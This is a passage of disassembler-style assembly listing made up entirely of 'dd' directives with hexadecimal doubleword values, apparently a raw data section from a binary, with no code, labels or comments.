		dd 257E81F4h, 7F81367Dh, 0C11EF8F2h, 4F4ABB19h,	0DE8DCECCh
		dd 1D3292A9h, 0B50FEA64h
		dd 0E0C5E4C2h, 387199BDh, 48F9685Ch, 0C9118B7Fh, 7D4D8A4Ah
		dd 61F8CE40h, 0C1770F1Eh, 0F9A407EEh, 0C0CFAC37h, 0D77DF433h
		dd 0F7419729h, 2B8561F0h, 0AAA24C17h, 6FF6528Ch, 864A6DBAh
		dd 51A82804h, 0F7CDAA13h, 5AEE5D24h, 0BBDD2456h, 0CF796839h
		dd 9601D390h, 0E92EA21Fh, 21B7547Eh, 6E9D0CD3h,	0E020559Dh
		dd 957E1685h, 5771273h,	0FAA36472h, 55519001h, 0E93B84E9h
		dd 0A0302C3Ah, 8529650Bh, 800C765h, 0E9F9215Eh,	0A0079AC5h
		dd 2D57BD2Bh, 62565553h, 87023862h, 0FFB258CDh,	36E0CC36h
		dd 9A695B0Eh, 9E736513h, 41FEA314h, 1ABD2907h, 12DACF5h
		dd 200E9796h, 0FEE3F488h, 1F536805h, 485D2F4Ch,	33C009EDh
		dd 228E303Ah, 6AB043DBh, 395B9345h, 80404CCAh, 0A9954A69h
		dd 11408D53h, 0E98B206Ah, 10B4A59Bh, 975E7049h,	0A6F36A5Ch
		dd 91782CFBh, 0E35E6B6Bh, 749DD322h, 0B082E245h, 0D769C056h
		dd 0EEF74648h, 0F80ED782h, 0BF204F65h, 0B068C842h, 45B46C2Ch
		dd 5847F4FEh, 0EE5F082Fh, 28CC92E3h, 260AEF31h,	4F14E6CBh
		dd 3F1695E1h, 1AA03D09h, 6133F4C5h, 0CEE4B55h, 64913D7Ah
		dd 4044BEBEh, 762E09BAh, 430F1403h, 0C854C81h, 7458D543h
		dd 9402BEFEh, 31749C17h, 0F7EC5FF1h, 240B0A34h,	74874E04h
		dd 0B80D2D00h, 8AF4993Ch, 0ECE5CC62h, 64CA544Dh, 9241C471h
		dd 6DFD55A8h, 0E66A5C4h, 95321625h, 515C09E4h, 538CDD85h
		dd 85BFFD7Bh, 0A4536293h, 880503ACh, 42482472h,	9C1FE9D6h
		dd 2DBF070Bh, 1327381h,	56CFAC69h, 0B48BC0A4h, 0D990EDEAh
		dd 0FE20B509h, 6B617DCDh, 0A1BBF7C9h, 8E8C2026h, 5B32C319h
		dd 7D11B66Bh, 4239665Bh, 9CA047F8h, 7783724Ch, 535B765Bh
		dd 0C0557932h, 3F52947Ah, 81000812h, 0AC5A56E3h, 0DB5FF72Dh
		dd 0C92C87A9h, 32113EFh, 0B304E939h, 0FA64C5Eh,	3B20BF04h
		dd 3DB5EB31h, 0E87E9C2h, 950D472Ah, 0BF5CF401h,	49FC6DB1h
		dd 139D7B25h, 3406AE68h, 0D449AB06h, 0B224D01Eh, 2085864Ch
		dd 0C125C417h, 776501EBh, 8E470F7Ah, 0E529B190h, 0F352B763h
		dd 0D8B00882h, 0D200BA52h, 0B95A3D2Ch, 4EC2D32Fh, 7386E8A5h
		dd 4FCB0B49h, 0C0D624E2h, 10F446Ah, 0C6DAF9BFh,	0F131BF33h
		dd 0B050182Bh, 0C29E042Bh, 77CF144Fh, 4AC70638h, 56E520EBh
		dd 211F6850h, 58C0FD1Fh, 0EF18AE0Dh, 8EE9191Ah,	2FE5879Dh
		dd 31D397E2h, 235FFD3Dh, 7071947Ah, 30AC7313h, 0AD5F7BECh
		dd 0ECAB10F8h, 7ACF777Bh, 331995EBh, 0E4AC2B52h, 17B6AFF4h
		dd 351CBF02h, 3EC36A21h, 68E14698h, 0A70BE912h,	7D89709Ch
		dd 0C4264AEEh, 916DE272h, 5EF84ED8h, 57C741F4h,	34D408E9h
		dd 4F90722h, 1B6E83h, 4F7F657h,	0F289112Ch, 272C5E5Ah
		dd 0A72F019Eh, 0F7CB876Eh, 0D30980D1h, 5501C383h, 9C680156h
		dd 0E9679563h, 0D58C75F3h, 559C500Fh, 317E0BDh,	79045AA6h
		dd 0CE8C0118h, 31334074h, 2C43CF5Ch, 6DA792FEh,	5A592FFFh
		dd 52DBF66Bh, 685878DEh, 341C1278h, 952CBB1Ah, 5AC00C1h
		dd 0F12973B1h, 0BB5EFDE9h, 3C1022B6h, 526612AFh, 5A12D3EBh
		dd 6BF281C0h, 8931AC7Dh, 0DE04E8D7h, 5F522C8Fh,	1A684701h
		dd 80D52870h, 8BA161BEh, 9069028h, 3D7E7D01h, 808B1EAh
		dd 4DC100C9h, 2909DE53h, 511429Dh, 0ABC15F08h, 15E15C75h
		dd 80C27430h, 51ED4068h, 33E2D7F6h, 0AAB1131Eh,	30D6CB00h
		dd 0BF2859CBh, 27BAD1E3h, 0B57B217Ch, 0B38561ECh, 0EE81546Ah
		dd 0FA11D016h, 2E1A8052h, 3C1DE910h, 8341A66Fh,	18C30166h
		dd 3F0CF945h, 0D09D6489h, 5451177Fh, 0D718B359h, 0CDEEAE44h
		dd 5F5B4EABh, 302BEB63h, 1F04ABB4h, 0A6AC5A9Dh,	0A08FA1h
		dd 7275A868h, 0A5584CCFh, 0C62D8432h, 2229D280h, 1DFADE01h
		dd 5D1A0565h, 0A389E2E9h, 0B62D75F8h, 18A3D6F6h, 92733088h
		dd 20A961C4h, 9E10E4E3h, 0E954042Dh, 65A7F4F8h,	2ABF6809h
		dd 7F8BBC30h, 5102367Ah, 0F25FB8B9h, 347F038h, 3C1463E1h
		dd 45484975h, 22172FBAh, 98D38795h, 8269917Ch, 45BD17Dh
		dd 0AA0113B0h, 860CA334h, 2768DBE4h, 5B464B42h,	0CA748600h
		dd 0A8EA8125h, 647F2F21h, 0E9164578h, 18A827FAh, 12E544C4h
		dd 2A3B4105h, 307B81F7h, 0ED17319Fh, 2EE24CE2h,	181FD158h
		dd 0EB1BCB93h, 0F63B19F1h, 74C49A5Dh, 0AD2A6899h, 0B22C4D28h
		dd 82F1FD3h, 9322910Dh,	0BA161AF4h, 6084BB19h, 0D17282BAh
		dd 2CAE75Dh, 4E691A61h,	0E94240D7h, 113BCF6h, 554BCEBBh
		dd 6FA86105h, 0CCBEE3C0h, 0E92B1317h, 0BF548067h, 89300EDCh
		dd 3FCAE67Fh, 0E51D4869h, 0F24EA204h, 3C83C09Ch, 397C8A60h
		dd 1D6CCD0Fh, 0ECECD294h, 2B68D404h, 0AAA6EB66h, 0C7F85878h
		dd 5055A401h, 2FE3E960h, 0B289240Fh, 0A05B32Ch,	9D4ADFA9h
		dd 1F4049Fh, 0BD13D0F5h, 5306B534h, 5107E8C1h, 720E0914h
		dd 0B94321EBh, 39313A5h, 78093253h, 0E78147E0h,	0C303FB01h
		dd 7EFC140h, 0FAFD903Fh, 0F22F3624h, 0C3BFC031h, 0E906C258h
		dd 2148D978h, 0F1953539h, 88DF4AA6h, 6025A00Eh,	5A54F676h
		dd 4D9BC95h, 0FAE3097Eh, 0FAE92683h, 0CFA37EFCh, 5907E488h
		dd 0BA83EB09h, 0B0713A5Dh, 0D2C5A9CFh, 0E9177BA3h, 0AB3E84E1h
		dd 28601D8Bh, 2D6916F3h, 1502E296h, 5E56D42Fh, 0B522C67h
		dd 0F0933109h, 30A4B802h, 0C25B21F1h, 0E2B14A0h, 0EB4D3FC7h
		dd 10D70165h, 0EB4B08E6h, 4DAAF824h, 13B1F4Ch, 0C2CD2D08h
		dd 61E25957h, 60457B40h, 0E5B7E99Ah, 1CCB9F59h,	61136DC0h
		dd 467EBCC2h, 6BA2ED81h, 0C42AEED1h, 1CA5ED78h,	5F3845CCh
		dd 0E98499B3h, 5E52E8ADh, 56F045A8h, 0FDB214E9h, 35E0D101h
		dd 789C2BE4h, 0B47825F1h, 3AAE0501h, 0EC591A69h, 0A2921EE6h
		dd 230DB09h, 2F3B0070h,	0B5258951h, 3EAF5F62h, 4EDCB9Ch
		dd 0BFE9D581h, 51389D99h, 0C784AE97h, 10C7A0D0h, 680F2943h
		dd 8B586AC9h, 0E4A250E9h, 13B8F029h, 248F5E9h, 8AB4C13Ch
		dd 60F0EC30h, 0AE18D2F6h, 0E7261787h, 14509DECh, 424262B7h
		dd 0FE2B42A9h, 0EB60248h, 1D603421h, 230E156Dh,	4CD33129h
		dd 5AE908DAh, 0AA898522h, 8F13338Bh, 865FD0C3h,	0A421D13h
		dd 13610841h, 26D7DBE4h, 0BBAF0E0h, 0E6EAA6AAh,	0CF4C8D61h
		dd 60882EA9h, 6B40CE8Eh, 53CA17BFh, 0E74200A0h,	4FBA1C42h
		dd 234DE95h, 7DDD6C9Bh,	51E9F0C0h, 0D634B569h, 15B70A4Bh
		dd 5F0ABFB8h, 11E4DA89h, 77380471h, 26C0627Fh, 4B96D31Ah
		dd 331AFB9Ah, 71616006h, 6B011D12h, 1EFEA5C1h, 0C5B6F302h
		dd 55257DD9h, 1C5FC3F9h, 1790E3C5h, 0B9F33FAFh,	7B3851CBh
		dd 0BAB1AF4Ah, 26533E08h, 0F7F2094Fh, 0F7A29AFDh, 0C68D718Fh
		dd 80B43E19h, 5A0BF452h, 9E2DE9FCh, 84B7AC8Dh, 2A6E8A2Eh
		dd 5E488C47h, 3630164Bh, 7FEA99CDh, 0D16F0751h,	0EF94D1B5h
		dd 0E281001Bh, 3B441674h, 8E2A0706h, 0AB76A515h, 4AA55C13h
		dd 2DB159D8h, 9CE00769h, 29811692h, 5A44E32Fh, 492574D1h
		dd 603A5676h, 9B56F518h, 0E99ACAE9h, 6AB4D995h,	0B81A12E1h
		dd 4FBF4FDDh, 0FA331111h, 0F2019B61h, 0AB5E4192h, 59535A45h
		dd 60DD5AD2h, 7E778Dh, 0CA8140B1h, 2610A56h, 5D07C2ECh
		dd 686DA450h, 0A2A34564h, 0EF202B06h, 1E0C26FFh, 6A64BC2Eh
		dd 9E1B2FE9h, 0F17305DCh, 6854ACECh, 0EBF1BB84h, 65B48B60h
		dd 0FB59BAE5h, 4AA22168h, 8F69FEE5h, 0B81D488Ah, 96EE92D8h
		dd 0FE0A0C2Ah, 2C40871Eh
		dd 653F80EBh, 0ED013E78h, 846EEF9h, 52120B0Ch, 868E5653h
		dd 5565A73Dh, 412F193Eh, 0F20DEEBh, 0EF262E0Bh,	0C9EE1FF4h
		dd 82A7656Fh, 19CF73CEh, 6859F604h, 26A81C4Bh, 10A19EC6h
		dd 0BEDFDB95h, 0FCEB7098h, 0B5E6C1h, 0F6021352h, 7039B820h
		dd 0AF220A4Dh, 0E971DE09h, 4195027Fh, 73455F6Eh, 280DB700h
		dd 5B045BF8h, 4E82871Ah, 43E9C6DEh, 33BCAA20h, 32092CC7h
		dd 4E8EC34Bh, 49EE22D3h, 0C0B71A50h, 356F941Bh,	9B65683h
		dd 85E2356h, 2D7A802Dh,	36C7CE8h, 0D8F0576h, 0C54F34F7h
		dd 0A4F11AEDh, 5EC66DAEh, 55A2B90h, 0F06B1A50h,	0F9F01673h
		dd 7FD7BF04h, 1CC03CF1h, 4C134875h, 8201EE67h, 31807985h
		dd 0C05060FEh, 0E1D1A441h, 15F44AA5h, 8D48808h,	531DF182h
		dd 0FFCF7E8Ah, 0ADEC5692h, 7F958D4Fh, 0B310E3A6h, 7D6846C0h
		dd 5B87F72Fh, 45EB725h,	2A52091Fh, 6B1823EFh, 0EC17E2EFh
		dd 4D764Fh, 0A24A90F2h,	0E9EAD133h, 0C7C5BE2Dh,	13783095h
		dd 1A905221h, 430CEE0Ah, 0D61AF14Ah, 0FD0CE2DAh, 0E68B8545h
		dd 0E6B1D5E3h, 27BCFC99h, 9267BB3Fh, 4300D8C3h,	6C82B17h
		dd 877324E9h, 4FDEC26Ch, 52AD4773h, 0EBF2201Ch,	0F0CE8728h
		dd 62550130h, 2F23C47Fh, 58EA6E9h, 21696365h, 3BF14D2Bh
		dd 23F2D390h, 0CDD4B32h, 0FD905F85h, 77EE2712h,	3BB541EAh
		dd 434D5923h, 3B03EDF3h, 891932EBh, 0FBF3B06Ch,	0A4770406h
		dd 0C82A57E9h, 2A9A084Eh, 0D14BE998h, 0F47EB8B5h, 0E3445761h
		dd 0FC261FF1h, 576227F3h, 5D20C2D5h, 0E9899E7Bh, 7514E29Fh
		dd 2D9A54C7h, 38875855h, 0CB5F1C0Ah, 0D6257E95h, 90D0EEC3h
		dd 2F404183h, 0E65080F8h, 147F8214h, 0EF35D736h, 91496F22h
		dd 4B20E0B3h, 307814A6h, 6D04B303h, 873FB96Ah, 653911E5h
		dd 739C4001h, 10398E2Eh, 4B2820E9h, 1783ED5Bh, 64AFDCEAh
		dd 3BCDEBB1h, 8C6DB001h, 82555A01h, 274D115Ah, 7EC87706h
		dd 400B47BCh, 0E04BE93Ah, 0FC252D0Ah, 819E1DECh, 0D9053EC5h
		dd 0D106E961h, 0CAD1685Ch, 0FEAF62D3h, 685AC152h, 0E3CC7BC4h
		dd 0A7FA5DE9h, 8FE1A25Bh, 0E85E302Ah, 51CC0FE6h, 39ED335Ch
		dd 0BD32E513h, 0C009C5C3h, 0F7B9F60Ch, 185DB0F2h, 52A01C99h
		dd 5681C190h, 9260F225h, 1477609Ah, 0C162A705h,	3E7A94C7h
		dd 0C665DD09h, 1406A289h, 8B2A94ADh, 29F15FCAh,	0F40350ACh
		dd 0F9158D05h, 999438AEh, 6006EEEEh, 0CE552257h, 29E34154h
		dd 0F29C2AFDh, 0B6806BFh, 38CE0145h, 0C040883h,	1D444933h
		dd 0E90B3FCBh, 6E234A3Bh, 5E4AC380h, 0CB7506F8h, 1D59FA10h
		dd 0FDD92867h, 0DD88AC48h, 29784EEh, 755D546Eh,	2BCA0DD9h
		dd 0E676270Bh, 155100CDh, 0FDBA081Ah, 254FF45Bh, 5E97AC0h
		dd 0C12AC3AAh, 2C307E5h, 0C400ECEDh, 510BD67Eh,	0A5CFD1FEh
		dd 25F4BE26h, 355F0C4Dh, 16A6316Fh, 0BC61D1B5h,	0B4858F17h
		dd 52126851h, 17BEBF9Bh, 6A8CA16Ah, 0ECD2A4A4h,	580D4CE0h
		dd 0DE3A9F04h, 0A913EA11h, 1D1B182h, 3F803635h,	1C29A01h
		dd 0DBED1990h, 0BD1E1238h, 94DD4A56h, 67960590h, 9F6EC7D5h
		dd 1308ED0Ah, 48618E5Bh, 10252D38h, 18C3292Bh, 1F323D68h
		dd 0B680AD9Fh, 0FE283CBAh, 0FC735197h, 65C1E46Ah, 0D00078D3h
		dd 0E4E586EFh, 808059EDh, 1ABB69F2h, 0CE66DCh, 0B45051D8h
		dd 5EB104BDh, 8458E130h, 742EC7A6h, 3E75AE32h, 0D52A1CAAh
		dd 1B69444Dh, 0DF7A0BD4h, 685B689Eh, 0CB7FF4E5h, 0A5E90BCAh
		dd 0AE9AF5E4h, 0CEE152CBh, 1BB04B7h, 1D10E7AAh,	0F8ACF00Ah
		dd 18DD6881h, 0E0E1046Bh, 1EA61C21h, 0F93D0989h, 0F02689E8h
		dd 5007EC59h, 1742E4B8h, 4759E01Bh, 49547608h, 8401929h
		dd 1D942AE9h, 8AE433ACh, 17DA8306h, 0C045C276h,	0B26E0DA1h
		dd 60B0D0D8h, 5AB753AAh, 0F4F70F80h, 71A2F920h,	0F15D0124h
		dd 143E007Ch, 42B97948h, 0D9290BC2h, 807EDC5Bh,	3FAA4EEFh
		dd 4C49B2E9h, 575902D7h, 4C139568h, 2FCC02CBh, 0D8F71BFFh
		dd 25024AD6h, 776C593Eh, 805C0607h, 0F809080Ah,	0D5D5E924h
		dd 44E38180h, 0F66DE430h, 4384B732h, 0BDCDC45Dh, 0F23E605Ah
		dd 2D47C562h, 0C800FA29h, 33E22C93h, 97690F9Dh,	259A9A04h
		dd 0ECEBB00h, 55F47A2Dh, 0E615AB60h, 0BD410527h, 3E2F3BF2h
		dd 0F74A4B13h, 6808DA00h, 8ED1BD32h, 0A8D6BAB9h, 5A41EEF3h
		dd 482B3A8Bh, 43B465A0h, 584C15C3h, 1B470FCAh, 0C794DB49h
		dd 0FC27082Ah, 5B58D26Bh, 5F545712h, 0C716F1F6h, 0C5A8A258h
		dd 37975FE9h, 552BE1F0h, 204D4CCEh, 0E83CB80Eh,	5D05AE52h
		dd 0A29268E9h, 36FFC057h, 31800F0Ah, 4FC6F789h,	6AE11C0Ch
		dd 900542E4h, 167A5BF2h, 0F21CFD0Eh, 4E67786Ah,	8916AD59h
		dd 724581Fh, 866F1ABAh,	0BC38A520h, 0EFFD5A52h,	7E6E10E1h
		dd 5A27A9E7h, 0E90B8C71h, 2364565Bh, 0AB9C3094h, 655B2D03h
		dd 84065F9h, 8857A058h,	4D6182FCh, 68E81D3Ch, 0E9751272h
		dd 58CEFC91h, 98058EB5h, 0B2D4010h, 0B463530h, 8FA48EF8h
		dd 0C95B2B0Bh, 883AFF02h, 585E0C00h, 0E0BCCE68h, 7DA6E905h
		dd 6DEAF21h, 85C4A12Eh,	6DC5E2C4h, 0CBF7CA09h, 0EDA65EF3h
		dd 0D803B29Ch, 0FD0500D7h, 686C7814h, 3ABE34E4h, 0A60F6060h
		dd 0B39AA052h, 907FFE2Ch, 0E90816CFh, 0BF7A534Dh, 5B39E101h
		dd 0D8DD7C04h, 0CA68A3DFh, 226A975h, 0DD514627h, 9EB65E02h
		dd 4643400h, 9506E484h,	807F03C2h, 0F6BECF92h, 0F8E913D7h
		dd 0C6A8547Ah, 60401426h, 7E6250B9h, 0C9814C01h, 2F8B46DAh
		dd 4DDE0C89h, 0B1E99382h, 0B41C79D8h, 40AD28E6h, 70B3537Eh
		dd 0BFDE4AC5h, 1880F629h, 68C5EE80h, 53991DBCh,	0E910B081h
		dd 29AFD936h, 835BC376h, 0E91708EEh, 6804D480h,	9CF366F1h
		dd 0F2481673h, 0F4AD120Dh, 12499980h, 88B87AAAh, 6C69987Ah
		dd 55F4E16Dh, 0D061BD20h, 0AE3CB469h, 20154592h, 0F60CC16Ch
		dd 15FC7C4Bh, 1C2B522Ch, 0E8FE60E2h, 4C095F13h,	7BF7C0FEh
		dd 12F3025h, 0D91F8089h, 0B7FA24E9h, 0B4BC5D79h, 0E5BC8095h
		dd 0F8215D09h, 2D14655Fh, 0A67DC2F2h, 3AF2014Eh, 0DD3A0DDh
		dd 7CEADF0Bh, 0F3884312h, 0F2ED7C25h, 0C4C70189h, 5E43496Dh
		dd 31413047h, 29C14F5Fh, 0EC3EECD7h, 0EA98E1ECh, 3E79443Fh
		dd 1CBB134Fh, 112E416Ch, 36D08949h, 164C3Bh, 3A28F125h
		dd 9773F3E9h, 0EE318344h, 0DC68B187h, 0A7C58000h, 374A67FAh
		dd 174835D3h, 8C287725h, 5240C6F7h, 261D03BAh, 0F2810961h
		dd 7B5A11B9h, 3FE11AC1h, 84830EFDh, 64D1546Fh, 2704E5E0h
		dd 7404A3Bh, 4E7DE1F5h,	41A5E69h, 0CA2190E9h, 0EB810075h
		dd 6CF7319Fh, 0D02977E9h, 0D5E5D422h, 0E9CB208Ch, 14E0775h
		dd 0FEF064EBh, 0F4E93743h, 96C7000Ch, 4258D414h, 76C0E2C1h
		dd 0C9547CF2h, 0D5092695h, 1165E2E6h, 2C826FEAh, 7A5EAD5Ah
		dd 0AE4E4283h, 0BAE6B072h, 0E9E1D66h, 232218E9h, 171DDDF5h
		dd 0C58308E5h, 0A1A5D533h, 0E67FB9E9h, 49407B5Fh, 0F1555051h
		dd 2C3800B0h, 83D2F73Ah, 681301EAh, 45A31C82h, 0D3C76A00h
		dd 0E9FA31C5h, 27EFD959h, 9BEB845Fh, 0B3CA8CAAh, 8087124Dh
		dd 3AE93BD0h, 7AE20C81h, 9E8E417h, 24EC065Eh, 4113F8E7h
		dd 775532C8h, 0AEF360EAh, 3DD329D0h, 52DAF72Eh,	0B2C0D225h
		dd 2C4D652h, 695EC102h,	2302715Eh, 0F5DDF9AAh, 766527E8h
		dd 0C9EFFA96h, 0F32700CEh, 0B876884Fh, 6AD0AD3h, 27A10C7Ch
		dd 19E0E588h, 0E0D31C07h
		dd 43607E47h, 5A75ABA0h, 0C8E9181Fh, 62C35D1Dh,	0FB707839h
		dd 7E93AC2Dh, 51527824h, 0E2F9882Fh, 0A5A1DB4Dh, 6A1B3B81h
		dd 0FA796093h, 4F0844D0h, 0A05BBEE6h, 0AE4DDCBBh, 1E31929Ah
		dd 5203E539h, 7DF358B1h, 0C8B23C2Ch, 6845DE7Ch,	68BB2540h
		dd 0CD983BFh, 0DF2DF9D6h, 5095BD50h, 0BF3880Dh,	175679A8h
		dd 0E30003FDh, 0FF403408h, 0DCFAC303h, 3EE16131h, 42214CB1h
		dd 0C98FF6F4h, 0DB82561Ah, 0B8008376h, 28603DEAh, 17D3532Ah
		dd 0F0964117h, 95C91045h, 8484DDC0h, 788EFF16h,	8C85E982h
		dd 0BDF1CDA5h, 50561421h, 0B7CD20C7h, 2D022CECh, 43B549A3h
		dd 80C652E9h, 0BE60A7A8h, 2FB670AEh, 0BBB1C5B2h, 16C9588h
		dd 30226DBAh, 16F34057h, 3F091352h, 0F3C154E9h,	3D263D23h
		dd 30BB81B1h, 6E6C662Bh, 5CBCF7D0h, 38796540h, 2B59E518h
		dd 1E445100h, 0C04E2EE4h, 0B520DB0Eh, 0D14FE90Ah, 0F088B780h
		dd 9534025Ah, 0E8D00724h, 0B162A97Ch, 71868379h, 4D9150F3h
		dd 29037AC6h, 0FF1AA4h,	78E237A0h, 75127CBEh, 0F785B83Ah
		dd 73C642A8h, 0D1779DA2h, 5E019349h, 1E1645E6h,	7139FEDFh
		dd 4909427Ch, 3D0638D9h, 0A50F9108h, 0E14DCE2Ch, 0B231D383h
		dd 0C123A43Bh, 4769180Dh, 0F67B127Fh, 0BEF0075h, 0E781565Bh
		dd 0CF6D3DBDh, 96062DD9h, 408503A0h, 8E54B909h,	8160DA06h
		dd 0EC2F5F08h, 0CB01825Eh, 0C8898288h, 0EF5968F2h, 0E2581DF0h
		dd 6FF78137h, 34C2F67Eh, 4B41539Eh, 0F7EF8F02h,	0F89F5C46h
		dd 0DA32304Eh, 0D610ED47h, 0E83AA265h, 4EB78BFBh, 157F3C61h
		dd 4B87AF05h, 5892FE83h, 4B506B5Fh, 713C17B9h, 9480E035h
		dd 3C79D6E9h, 3D7E5D66h, 2F2F7FE0h, 1FEFA96h, 0A0010DD6h
		dd 25EC652Eh, 2DCA016Fh, 8AE63408h, 705E85Eh, 55935E21h
		dd 89A1341Fh, 0F45E4EE9h, 73147525h, 7EEC2F27h,	0CBFB6779h
		dd 73895FF9h, 4936541Ah, 40570D88h, 310B62FAh, 100B8DB0h
		dd 574C3839h, 3408C428h, 5F140B1Ch, 1459DFDCh, 49180E3Bh
		dd 90F444C6h, 6709BE00h, 0EEC17638h, 3817303h, 5EE5043Dh
		dd 0F393DE31h, 74B0829h, 0C116C728h, 30063E58h,	4ABDD388h
		dd 15DD8BDFh, 25ED794Ah, 3D6EFC47h, 0D4C3B313h,	4B9ECA73h
		dd 983048F5h, 934D2E5Fh, 0A0F716D2h, 0E63CC070h, 26BE1407h
		dd 0FBB3C0BFh, 4832EE80h, 0FE2EFA66h, 685A821Bh, 63DC22BFh
		dd 9F2A362h, 74397E83h,	7DFE959Ah, 86258327h, 0F2D12F64h
		dd 0C19A0866h, 18B0969Fh, 0EF29F968h, 5681862Dh, 0AFE53C78h
		dd 0C660FDD9h, 673DDB22h, 5AEF600h, 0CA8167C7h,	70691754h
		dd 42190C58h, 0E92F5606h, 0D7F589C6h, 409AB8Fh,	4B16D258h
		dd 29A2DD87h, 100B60C1h, 85A57A73h, 314BD8CCh, 412163Eh
		dd 0AE173F53h, 0E7A18E9h, 0E957CE4Eh, 8866C349h, 9ADE84Fh
		dd 467B2A7Eh, 0B2DF696h, 36AB6D60h, 224A325Dh, 529A07EBh
		dd 99039FF4h, 0C046139h, 55632D2Bh, 83C062E2h, 77E902C2h
		dd 0EBE32A5Ah, 4FBF8141h, 8F15B126h, 0FBA9CF88h, 0FB9F4AF0h
		dd 21104397h, 9232348h,	7769CD22h, 0FCB4D8A0h, 7EFA3D53h
		dd 0B91627D6h, 0BD0178FCh, 7A073F7h, 0B868FC2Dh, 34FC385Ah
		dd 9A5D0740h, 0E914801Ah, 0F902BA3Bh, 8099E33Bh, 778ABE56h
		dd 9657C55h, 0C707F1F6h, 0F5EE6180h, 47613220h,	604F8218h
		dd 4B7DE9FCh, 0D17E3172h, 0A9130578h, 58D790BBh, 795B6268h
		dd 0A63B663Dh, 25663181h, 0C47BEFE9h, 2CCFBBF2h, 5D1A5850h
		dd 0D83585FCh, 0F749042Fh, 25DCBA5Dh, 252DE4B9h, 61F8332Ah
		dd 15969EB0h, 395E6805h, 0A097C84Bh, 466BDADh, 55650561h
		dd 0FE895D59h, 0CA3AC389h, 5CE9CD9Bh, 0FD45F88h, 79C9541Eh
		dd 0CD2F5C2Fh, 0A31A9D54h, 0FE2819E0h, 4802BA5Bh, 9B4AB186h
		dd 41D636A0h, 0A3F4CC80h, 651ECCECh, 0C4CFECD0h, 1456DD1Fh
		dd 80D18D1Ah, 82782336h, 0BF2EC54h, 0B7FBCC26h,	0E904C1DEh
		dd 88ABD7E0h, 4FE4B8DAh, 0FD212227h, 22687485h,	0B684E5F0h
		dd 0CD13E8A7h, 0ED3AB2D9h, 31B2B111h, 0ED4C697Dh, 0E2DCCC16h
		dd 229CBCCh, 662CABE9h,	0BDF0E03Fh, 8C20EA30h, 0B4F110AAh
		dd 8F4217BFh, 8B522FEh,	15123100h, 0DEF70E2Fh, 0F3B34F68h
		dd 5F7601F9h, 0CE3172CAh, 0CC800820h, 74266D1h,	0BAF381B5h
		dd 0CA94438Eh, 57D3DDAFh, 0AB31AEACh, 0E22BD9ACh, 7F91856Ah
		dd 34ACF4A5h, 3F7E2FEAh, 1CC108A0h, 1EB5162Fh, 3B510C82h
		dd 0E37A0221h, 0CB62C920h, 7F619A4h, 0B6B5A020h, 2F469089h
		dd 0FD985C0Ch, 15B1B90h, 95415DC9h, 5002829h, 42EC2625h
		dd 9CBABDF4h, 1C11BB17h, 2B2DD4FCh, 0EC59C74h, 0BA0299ACh
		dd 0AFB40A9h, 6D353640h, 91B3620h, 12112C3Ah, 540F1ADFh
		dd 6A980807h, 5651A73Eh, 1E9CC0A7h, 62BD4E7Dh, 8BFE3119h
		dd 1DA0C5BEh, 8B63D39Fh, 4CD4D3D9h, 64F47AEFh, 7BC80EAFh
		dd 0F3C01D76h, 38780F18h, 0D9A0837Ch, 0D91266C3h, 5EBB065h
		dd 4FB290Bh, 4E6138A1h,	1C71E5E0h, 6060E627h, 0B65D69C2h
		dd 0E27A89D2h, 8D9345A6h, 0AB0B9F98h, 0DF785602h, 35599912h
		dd 11F7818Ah, 9949C728h, 3F2F7661h, 0FC5964E6h,	6BE8976Eh
		dd 0ED04C05Ah, 8646802h, 0E8C051FCh, 2C58E528h,	0E9EEDE75h
		dd 1F8B595Ah, 34F5F654h, 8258C77Fh, 0FAA51405h,	3021EAC3h
		dd 0FC2ADDEAh, 0B9B2D368h, 302D0594h, 962D5946h, 453469Fh
		dd 77FA05D8h, 0F6C13801h, 71619706h, 509417Ah, 42B03A55h
		dd 1DFA5534h, 60299B12h, 80962D85h, 474F1C68h, 2E866EF6h
		dd 0C4262920h, 0C6C03E4Ah, 310C5E13h, 4864EF83h, 9393D75h
		dd 0D8BD7CB3h, 1233EE80h, 0B1A0D497h, 1FC3091h,	961DEAB4h
		dd 6A6C5C48h, 0F2C012FAh, 0CC593085h, 0BF8468BFh, 0EA045EF0h
		dd 4D377364h, 0A426F4ADh, 1D204F1Eh, 5078A84Fh,	7D0BB8E2h
		dd 700CC748h, 1DC695D7h, 34DE8731h, 6CC201B8h, 1205FFC4h
		dd 4AF1A94Bh, 6FE91843h, 932D45DDh, 70172A20h, 55F4B5C3h
		dd 0CA8B85Ah, 981FA426h, 7DF227EDh, 0F38928D1h,	11E65DFDh
		dd 6AB8252h, 78867C25h,	0FDDB00Ch, 0EB2973CCh, 0D008A8DCh
		dd 5C44140Ch, 2B4152h, 0BB46D5A6h, 0EDC17602h, 54DDF708h
		dd 6C0104B1h, 0AEF1BF11h, 2824F1D5h, 333DB0EAh,	0D5DD2E35h
		dd 395D70F9h, 25F01BAh,	0DD2960F6h, 0C0732470h,	7CB4C6B1h
		dd 0D99A6C32h, 5908EE50h, 0C862314Ah, 14926151h, 0B233777Fh
		dd 0BC543B9Dh, 53B1D296h, 51C0F76Ch, 45B67FB1h,	8513E925h
		dd 0E7802D85h, 28014F39h, 170705F8h, 43D861E9h,	1D5E9C50h
		dd 7830495h, 45A5EE57h,	70B25C30h, 0B4D54B56h, 28004124h
		dd 12B050DDh, 5E8C0h, 45345624h, 0FD04C8FEh, 0E5526CEh
		dd 0B3BABCC5h, 2E561258h, 6848B906h, 74B603F3h,	5E5AF528h
		dd 0AAB45EF8h, 0CC2004E1h, 1B6E9FD2h, 66F93AA0h, 280CBD80h
		dd 27F28E4Ah, 93DCE071h, 983F5A51h, 0F173F70Ah,	6DFA6814h
		dd 0CEE90948h, 0C0E45FD3h, 1DF4424Bh, 0F72827BBh, 20BEEF0h
		dd 0E344CF80h, 0C7CEDBF2h, 580CBFB6h, 854E2F6Ah, 8BCAAD77h
		dd 5DEB4268h, 12319FC7h, 0F62E5954h, 4C0E123Dh,	25860D96h
		dd 0CEF2C726h, 0A694232Ch, 0AC858C7h, 380AD129h, 0BB1F004Ah
		dd 0FE173CFh, 52B8DFF0h, 0F5D16040h, 5A3FC0DDh,	59075DE1h
		dd 1EDD1BACh, 65EB696Eh, 8E29D7h, 71106B33h, 7E23973Dh
		dd 0E0A04805h, 6D5FE908h, 162A2F14h, 60FE88EFh,	9EEB8089h
		dd 0BC60CBE6h, 0E5E9020Ch
		dd 1722B58Dh, 2CFC9633h, 8B03D44Ah, 0F173FD17h,	0F33ADE5Fh
